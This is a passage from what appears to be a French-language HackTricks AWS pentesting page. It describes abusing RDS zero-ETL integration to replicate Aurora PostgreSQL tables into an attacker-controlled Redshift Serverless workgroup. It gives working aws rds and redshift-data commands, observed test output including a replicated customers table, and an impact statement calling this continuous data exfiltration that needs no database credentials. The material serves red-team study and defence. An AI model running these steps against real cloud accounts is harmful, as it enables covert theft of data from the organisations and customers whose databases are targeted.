${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) CrĂ©er l'intĂ©gration zero‑ETL depuis RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Matérialiser et interroger les données répliquées dans Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Preuves observées lors du test :

  • redshift describe-inbound-integrations : Statut ACTIVE pour l’intĂ©gration arn:
377a462b-

  • SVV_INTEGRATION a montrĂ© integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et l’état PendingDbConnectState avant la crĂ©ation de la DB.
  • AprĂšs CREATE DATABASE FROM INTEGRATION, lister les tables a rĂ©vĂ©lĂ© le schĂ©ma ztl et la table customers ; une sĂ©lection depuis ztl.customers a retournĂ© 2 lignes (Alice, Bob).

Impact : exfiltration continue quasi‑temps rĂ©el de tables Aurora PostgreSQL sĂ©lectionnĂ©es vers Redshift Serverless contrĂŽlĂ© par l’attaquant, sans utiliser d’identifiants de base de donnĂ©es, de sauvegardes, ou d’accĂšs rĂ©seau au cluster source.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks